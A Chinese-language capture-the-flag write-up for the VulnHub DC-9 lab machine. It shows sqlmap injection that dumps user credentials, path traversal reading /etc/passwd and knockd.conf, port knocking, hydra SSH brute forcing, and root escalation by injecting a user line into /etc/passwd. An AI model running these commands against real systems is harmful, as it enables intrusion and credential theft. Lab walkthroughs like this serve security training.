VulnHub-DC9
- 9 mins环境下载地址:
https://www.five86.com/dc-9.html
环境搭建:
信息收集
探测目标IP:192.168.101.190
命令:nmap -sP 192.168.101.0/24
用 netdiscover -r 192.168.101.0/24 ,发现目标IP为:192.168.101.190
端口扫描
利用nmap对目标端口进行综合扫描,发现开放了 80和22(被过滤) 端口
命令:nmap -sV -A -T5 192.168.101.190 -p-
插件识别
search.php有一个搜索框,输入数据查看,发现是通过post传入,这个位置可能存在SQL注入
SQL注入
直接sqlmap注入所有数据库
┌─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" --dbs
发现存在的库(暴库)
查看users(暴表)
┌─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D users --tables
暴字段
┌─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D users -T UserDetails --columns
用户名/密码
┌─[✗]─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump
查看Staff(暴表)
┌─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D Staff --tables
暴字段
┌─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D Staff -T Users --columns
用户名/密码
找到管理员账号admin和密码hash
┌─[✗]─[root@pendo]─[~]
└──╼ #sqlmap -u "http://192.168.101.190/results.php" --data "search=1" -D Staff -T Users -C Username,Password --dump
+----------+----------------------------------+
| Username | Password |
+----------+----------------------------------+
| admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+----------+----------------------------------+
MD5解码
admin/transorbital1
后台登录
文件包含
登录后台后发现提示:File does not exist,可能存在文件包含
猜测参数名为 file 尝试
http://192.168.101.190/manage.php?file=../../../../../../../../etc/passwd
然后就陷入了沉思 ….
后来看了看大佬的文章都用的是端口敲门:
需要知道它的自定义端口,然后依次对其进行敲门,然后就可以开始ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf
http://192.168.101.190/manage.php?file=../../../../../../../../etc/knockd.conf
得到了需要去敲门的端口:7469,8475,9842,只需要挨个访问这几个端口就行了
nc 192.168.101.190 7469
nc 192.168.101.190 8475
nc 192.168.101.190 9842
发现22端口已经开启状态(打开了ssh)
SSH爆破
虽然打开了ssh服务,但是没有用户名和密码,这里一开始收集的用户名和密码就有用了,将爆破数据库的用户名和密码分别保存到name和pass文件中
+-----------+---------------+
| username | password |
+-----------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
+-----------+---------------+
admin transorbital1
爆破ssh用户名/密码
┌─[root@pendo]─[/home/pendo]
└──╼ #hydra -L user.txt -P passs.txt 192.168.101.190 ssh
[DATA] attacking ssh://192.168.101.190:22/
[22][ssh] host: 192.168.101.190 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.101.190 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.101.190 login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
ssh远程登录
ssh joeyt@192.168.101.190 ,没发现有用信息
ssh chandlerb@192.168.101.190,没发现有用信息
root@pendo]─[/home/pendo]
└──╼ #ssh janitor@192.168.101.190
登录 janitor查看文件:ls -al
janitor@dc-9:~$ ls -al
total 16
drwx------ 4 janitor janitor 4096 Nov 13 18:14 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Nov 13 18:14 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
又得到了新的密码,将其放入passs.txt文件里后继续爆破
[DATA] attacking ssh://192.168.101.190:22/
[22][ssh] host: 192.168.101.190 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.101.190 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.101.190 login: joeyt password: Passw0rd
[STATUS] 364.00 tries/min, 364 tries in 00:01h, 48 to do in 00:01h, 16 active
[22][ssh] host: 192.168.101.190 login: janitor password: Ilovepee
发现多了一个用户fredf,远程连接
发现 /opt/devstuff/dist/test/test 具有root权限
提权
切换到 fredf用户根目录查看文件,发现一个python脚本
/opt/devstuff/test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read()) #读取第一个文件的第一行内容
f = open(sys.argv[2], "a") #获取第二个文件的写入权限
f.write(output) #用root权限将第一个文件的第一行内容写入到第二个文件中去
f.close()
这是一段追加脚本,可以新建一个用户,然后将信息追加到 /etc/passwd 中
在攻击机本地建一个拥有root权限的用户,再把这个用户的信息通过python脚本写到靶机的/etc/passwd文件中存储,这样就可以得到一个有root权限的账号
使用openssl 先创建一个本地的加密用户
┌─[root@pendo]─[~]
└──╼ #openssl passwd -1 -salt admin admin
$1$admin$1kgWpnZpUx.vTroWPXPIB0
┌─[root@pendo]─[~]
└──╼ #
-1 使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,加盐
然后在靶机中,/opt/devstuff/dist/test目录下用 echo 命令在 /tmp 目录下创建一个名为getshell的文件(名字自定义),同时将生成的加密用户信息写到文件中,再使用 sudo 用靶机中的test脚本来运行这个文件,将这个文件写入到passwd中,接着 su admin输入自己设定的密码就可以成功提权到root用户
// 进入test目录
cd /opt/devstuff/dist/test
// 使用echo在tmp下创建getshell文件
fredf@dc-9:/opt/devstuff/dist/test$ echo /tmp/getshell
// 添加用户名admin:和 :0:0::/root:/bin/bash ,使admin用户拥有root权限
fredf@dc-9:/opt/devstuff/dist/test$ echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/getshell
// 利用脚本将信息写入 /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/getshell /etc/passwd
// 提权成功
fredf@dc-9:/opt/devstuff/dist/test$ su admin
Password:
root@dc-9:/opt/devstuff/dist/test# whoami
root
root@dc-9:/opt/devstuff/dist/test# id
uid=0(root) gid=0(root) groups=0(root)
// 切换目录找到flag
root@dc-9:/# cd ~
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt
知识补充:
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf
参考链接:https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html(Port-knocking)